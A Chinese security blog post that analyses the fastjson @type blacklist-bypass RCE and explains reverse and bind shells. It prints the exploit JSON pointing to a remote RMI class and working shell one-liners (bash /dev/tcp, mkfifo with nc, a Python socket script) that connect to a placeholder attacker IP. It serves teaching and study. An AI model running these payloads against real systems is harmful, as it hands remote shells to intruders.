远程代码执行(RCE)漏洞

2023-05-16

文章目录

  • 1. fastjson 远程代码执行漏洞
  • 2. 简单复现
  • 3. 反弹shell
      • 3.1 正向反弹shell
      • 3.2 反向反弹shell

1. fastjson 远程代码执行漏洞

最近读到一篇文章 fastjson 远程代码执行漏洞分析,文章很详细地分析了漏洞原理并复现了漏洞,主要原理可概括如下:

  1. fastjson 处理以@type形式传入的类的时候会默认调用该类的 set/get/is 方法,这个特性在解析如下 json 字符串的时候,对恶意 json第一个@type 的解析通过不在黑名单的java.lang.Class 类作为键,将黑名单类 com.sun.rowset.JdbcRowSetImpl 缓存到内部 Map中。之后解析 第二个@type时,从Map中直接取出黑名单类com.sun.rowset.JdbcRowSetImpl从而绕过黑名单等安全检查,并默认调用set/get/is 方法将 "dataSourceName":"rmi://XXXXX:9999/Exploit" 属性注入,同时调用了 JdbcRowSetImpl#setAutoCommit()函数
    {
     "a":{
         "@type":"java.lang.Class",
         "val":"com.sun.rowset.JdbcRowSetImpl"
     },
     "b":{
         "@type":"com.sun.rowset.JdbcRowSetImpl",
         "dataSourceName":"rmi://XXXXX:9999/Exploit",
         "autoCommit":true
     }
    }
    
  2. JdbcRowSetImpl#setAutoCommit()方法执行时会触发connect()函数,该方法会对成员变量dataSourceName进行lookup(),这样传入的属性 "dataSourceName":"rmi://XXXXX:9999/Exploit" 指向的恶意RMI服务类就会被加载,该类中有问题的静态代码块毫无疑问就被执行了
    public void setAutoCommit(boolean var1) throws SQLException {
         if (this.conn != null) {
             this.conn.setAutoCommit(var1);
         } else {
         // 触发 connect()
             this.conn = this.connect();
             this.conn.setAutoCommit(var1);
         }
     }
     private Connection connect() throws SQLException {
         if (this.conn != null) {
             return this.conn;
         } else if (this.getDataSourceName() != null) {
             try {
                 InitialContext var1 = new InitialContext();
                 // 进行lookup()操作时,会动态加载并实例化恶意 RMI 服务 Java 类
                 DataSource var2 = (DataSource)var1.lookup(this.getDataSourceName());
                ......
     }
    

2. 简单复现

条件有限,没有去准备 RMI服务器,以恶意 Java 类已经注入为前提,以下步骤完成了简易复现

  1. 攻击机器(centos)执行命令 nc -lvvp 9999,监听自身的 9999 端口
  2. 目标机器(macos)执行以下恶意Java 代码,被动新开一个 shell 进程,将自身的输入输出通过 tcp连接传输到攻击者机器上,从而完成渗透入侵
     //ip 为攻击者服务器 ip 
    static {
         try {
             Runtime.getRuntime().exec(new String[]{"/bin/bash", "-c", "bash -i >& /dev/tcp/ip/9999 0>&1"});
         } catch (IOException e) {
             e.printStackTrace();
         }
     }
    
    以上代码等价于在终端界面执行命令
    Mac:   /bin/bash -c 'bash -i >& /dev/tcp/ip/9999 0>&1 &'
    Linux: bash -i >& /dev/tcp/ip/9999 0>&1 &
    

对于命令的解释首先要掌握以下几点

linux shell 下三种标准的文件描述符:
0 - stdin 代表标准输入,使用<<<
1 - stdout 代表标准输出,使用>>>
2 - stderr 代表标准错误输出,使用2>2>>
>& 符号的含义:
当 >& 后面接文件时,表示将标准输出和标准错误输出重定向至文件
当 >& 后面接文件描述符时,表示将前面的文件描述符重定向至后面的文件描述符

bash -i >& /dev/tcp/ip/9999 0>&1 & 命令并不复杂:

  1. 首先 bash -i在本地打开一个 bash
  2. 然后就是 /dev/tcp/ip/port, 这是Linux中的一个特殊设备,打开这个文件就相当于建立一个socket连接
  3. >&后面跟上/dev/tcp/ip/port这个文件代表将标准输出和标准错误输出重定向到这个文件,也就是传递到远程上。如果远程开启了对应的端口监听,就会接收到这个bash的标准输出和标准错误输出,这个时候在本机 macos 输入命令,输出以及错误输出的内容就会被传递显示到远程
  4. 0>&1 代表将标准输入重定向到标准输出,这里的标准输出已经重定向到了/dev/tcp/ip/port这个文件,也就是远程,那么标准输入也就重定向到了远程,这样就可以直接在远程输入了

3. 反弹shell

上面的渗透入侵方式被称为 反弹shell (reverse shell)就是控制端监听在某TCP/UDP端口,被控端发起请求到该端口,并将其命令行的输入输出转到控制端,本质上是网络概念的客户端与服务端的角色反转

3.1 正向反弹shell

所谓正向反弹shell是指在目标机器上监听端口,然后攻击者主动链接。通常步骤如下:

  1. 被攻击机器(centos)执行 nc -lvp 8888 -e /bin/bash,监听自身端口,-e 参数代表的是创建连接后执行的程序。此处-e /bin/bash代表在连接到远程后可以在远程执行一个本地 shell(/bin/bash),也就是反弹一个shell给远程

    需注意nc 版本不同可能不支持 -e 参数
    此时可使用 rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/sh -i 2>&1|nc IP 8888 >/tmp/f &
    mkfifo 命令首先创建了一个管道,cat 将管道里面的内容输出传递给/bin/sh,sh执行管道里的命令并将标准输出和标准错误输出结果通过nc 传到该管道

  2. 攻击机器(macos)执行 nc IP 8888 主动链接目标机器,链接一旦建立立即获取到目标机器的 shell

3.2 反向反弹shell

反向反弹shell是在攻击者电脑上监听端口,然后目标机器进行链接。一个 python 命令实现如下:

  1. 攻击机器(centos)监听自身 nc -lvp 8888

  2. 目标机器(macos)执行 python 代码,建立链接到攻击机器

    python -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('IP',8888));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"&
    

以上 Python 代码反弹 shell 的原理如下:

  1. 首先使用 socket与远程建立起连接
  2. 接下来使用到了os 库的dup2()方法将标准输入、标准输出、标准错误输出重定向到远程,dup2这个方法有两个参数,分别为文件描述符fd1fd2当fd2参数存在时,就关闭fd2,然后将fd1代表的那个文件强行复制给fd2,就相当于将fd2指向于s.fileno(),此处 fileno()返回的就是建立socket连接返回的文件描述符,于是这样就相当于将标准输入(0)、标准输出(1)、标准错误输出(2)重定向到远程
  3. 最后使用 os 的subprocess()在本地开启一个子进程,传入参数-i使 bash 以交互模式启动,而此时标准输入、标准输出、标准错误输出都被重定向到了远程,这样就可以在远程执行输入命令了
本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

远程代码执行(RCE)漏洞 的相关文章

  • apache2 配置https

    配置Apache2 https 开启ssl模块 span class token function sudo span a2enmod ssl 启用ssl站点 span class token function sudo span a2en
  • JAVA对数字+字符串,中文一二三四等特殊格式字符串进行特殊排序

    提示 xff1a 对数字 43 字符串 中文一二三四 格式字符串去重 排序 重组 可以对customSort 类的46 53行进行修改 查看新排序效果 代码如下 xff08 示例 xff09 1 SortTest 类 xff1a span
  • Linux安装Jenkins

    手把手教你在Linux上安装jenkins xff0c 废话不多说 xff0c 直接上教程 1 xff0c 用windows到官网下载jenkins 2 346 1 1 noarch rpm xff0c 下载链接 xff1a https w
  • 舵机控制(STM32F103C8T6)

    前言 本文是以STM32F103C8T6作为主控芯片 xff0c 通过PB6端口输出PWM xff0c 实现控制180 舵机 一 舵机控制原理 xff08 一 xff09 概述 舵机是一种位置伺服驱动器器 xff0c 是一种带有输出轴的小装
  • 设计模式详解:建造者模式

    今天来看一下创建新模式中的第五种模式 xff1a 建造者模式 仍然是先看两张图 xff0c 复习模式类型 xff0c 加深记忆 定义 xff1a 建造者模式 xff1a 将一个复杂对象的构建与它的表示分离 xff0c 使得同样的构建过程可以
  • 动态数码管显示(STM32F103C8T)

    一 前言 本实验是通过使用STM32F103C8T6作为主控 xff0c 八段数码 xff08 共阴极 xff09 是通过74HC245双向缓冲器控制数段选 xff0c 74HC138译码器控制位选 每个数码管显示与位号相对应的数字 xff
  • 取字模软件的使用

    1 点击运行 取字模软件 EXE 2 输入文本 xff0c 完成后按Ctrl 43 Enter按键结束输入 xff0c 如下图 3 设置字体显示的大小16 16 xff0c 如下图 xff1a 4 设置字体格式 xff0c 字体大小 xff
  • 51单片机应用篇-- --数码管60秒计时,独立按键可调

    开篇先说一句废话 本旺名字叫萨摩耶 xff0c xff0c Please 叫我旺财 xff0c xff0c xff0c 哈哈 xff0c 招财进宝嘛 xff01 缘由 本来按照我的学习计划 xff0c 我现在应该是单片机的学习过程 xff0
  • SOLIDWORKS生成URDF文件后部分文件散乱分布

    问题 xff1a SOLIDWORKS生成URDF文件在正确配置关节坐标系的情况下 xff0c 依然出现了部分零件散乱分布的情况 xff0c 例如图所示 xff1a 问题原因 xff1a 同样的零件多次装配 解决办法 xff1a 要插入同一
  • Matlab笔记:Matlab function生成C代码并运行

    1 Matlab函数 xff0c 输入 x y z roll pitch yaw xff0c 输出out为8 6的数组 2 点击Matlab coder 3 选择要生成的函数 4 定义输入类型 xff0c 输入的六个数选择double数值
  • matlab接收ROS发布的话题通信数据并实时画图

    版本说明 matlab R2021b ROS noetic matlab与ROS通信连接 在matlab和ROS连接之前 xff0c 需要先运行ROS核心 xff0c 记录ROS端的IP地址 再查找并记录matlab端 xff08 我这里是
  • simulink联合STM32CubeMX开发串口通信程序

    摘要 使用SIMULINK联合STM32CubeMX生成STM32F407串口发送数据代码 xff0c 发送的数据为正弦函数波形 再用SIMULINK写一个串口接收数据模型 xff0c 接收来自STM32发送的数据 xff0c 最后绘制出波
  • element 默认主题样式

    使用方法 span class token keyword import span ElementUI span class token keyword from span span class token string 39 elemen
  • 深入RUST标准库内核(一)标准库内容概述

    本书github链接 inside rust std library 本书前面章节 xff1a 深入RUST标准库内核 xff08 序言 深入RUST标准库内核 引言概述本书目的目标读者本书约定 RUST标准库体系概述core库编译器内置i
  • 深入RUST标准库内核(序言)

    对RUST的兴趣来自于Linus认真考虑将RUST作为Linux内核开发语言的新闻报道 因此开始了对RUST探索 xff0c 不久后基本上就从心底里认同了这门语言 xff0c RUST不仅是高性能及安全的语言 xff0c 它的语法设计也会带
  • 手记:把代码上传到Gitee等远程仓库的过程记录及常见问题

    很久没用git了 xff0c 指令都有点生疏了 xff0c 今天上传了一些代码到码云上 xff0c 先把过程记录下来供使用git的朋友参考 没有用图形化界面 xff0c 因为只有熟悉指令才能真正的理解领会 步骤一 xff1a 1 安装git
  • I2C总线协议原理

    首先I2C总线一共分为2根 xff0c 一根是SCL xff08 serial clock xff09 xff0c 还有一根是SDA xff08 serial data xff09 xff0c 一根是用来同步时钟的 xff0c 一根是发送接
  • 常用默认端口+URL解析+HTTP详解

    常用默认端口 http端口80 https端口443 tomcat端口8080 URL详解 http www aspxfans com 8080 news index asp boardID 61 5 amp ID 61 24618 amp
  • Vue3.0 setup函数

    setup 1 Vue3 0中一个新的配置项 xff0c 值为一个函数 2 setup是所有Composition API 组合API 表演舞台 3 组件中所用到的 xff1a 数据 方法等等 xff0c 均要配置在setup中 4 set
  • 【青训营】Go的高质量编程

    Go的高质量编程 本文内容总结自字节跳动青年训练营 第五届 后端组 什么是高质量 xff1f 各种边界条件是否完备异常情况能正常处理 xff0c 稳定性有保障易读易维护 Go语言开发者Dave Cheney指出 xff0c 编程需要遵循以下

随机推荐